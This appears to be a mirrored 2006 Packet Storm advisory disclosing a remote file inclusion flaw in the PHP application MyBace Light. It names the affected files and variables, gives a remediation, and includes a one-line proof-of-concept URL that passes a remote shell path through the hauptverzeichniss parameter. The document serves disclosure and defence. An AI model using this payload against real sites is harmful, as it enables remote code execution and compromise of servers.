Lucene search
K

mybaseLight.txt

🗓️ 07 Sep 2006 00:00:00Reported by Philipp NiedzielaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

MyBace Light Remote File Inclusion vulnerability, high risk of remote file execution. Affected files: login_check.php, user_daten.php. Solution: deny direct access or modify code

Code
`+--------------------------------------------------------------------  
+  
+ MyBace Light (hauptverzeichniss) Remote File Inclusion  
+  
+ Original advisory:  
+ http://www.bb-pcsecurity.de/Websecurity/384/MyBace_Light_(hauptverzeichniss)_Remote_File_Inclusion.htm  
+--------------------------------------------------------------------  
+  
+ Affected Software .: My Bace Light  
+ Venedor ...........: http://www.onlinemacher.de/  
+ Class .............: Remote File Inclusion  
+ Risk ..............: high (Remote File Execution)  
+ Found by ..........: Philipp Niedziela  
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de  
+  
+--------------------------------------------------------------------  
+  
+ Affected Files:  
+ includes/login_check.php  
+ var: $hauptverzeichniss  
+  
+ admin/login/content/user_daten.php  
+ var: $template_back  
+  
+--------------------------------------------------------------------  
+  
+ $hauptverzeichniss & $template_back is not properly sanitized before being used  
+  
+--------------------------------------------------------------------  
+  
+ Solution:  
+ Deny direct access to these files using a .htaccess-file  
+ or modify code:  
+  
+ if(!isset($_REQUEST['hauptverzeichniss']) && !isset($_GET['hauptverzeichniss'])  
+ && !isset($_POST['hauptverzeichniss'])){  
+ //code of org. *.php  
+ }  
+ else {  
+ echo "You cannot access this file directly.";  
+ die();  
+ }  
+  
+--------------------------------------------------------------------  
+  
+ PoC:  
+  
+ http://[target]/includes/login_check.php?hauptverzeichniss=[shell]  
+  
+--------------------------------------------------------------------  
+  
+ Notice: I've tried to contact venedor 3 weeks ago, but no answer yet...  
+  
+  
+ Greets: /str0ke  
+  
+-------------------------[ E O F ]----------------------------------  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation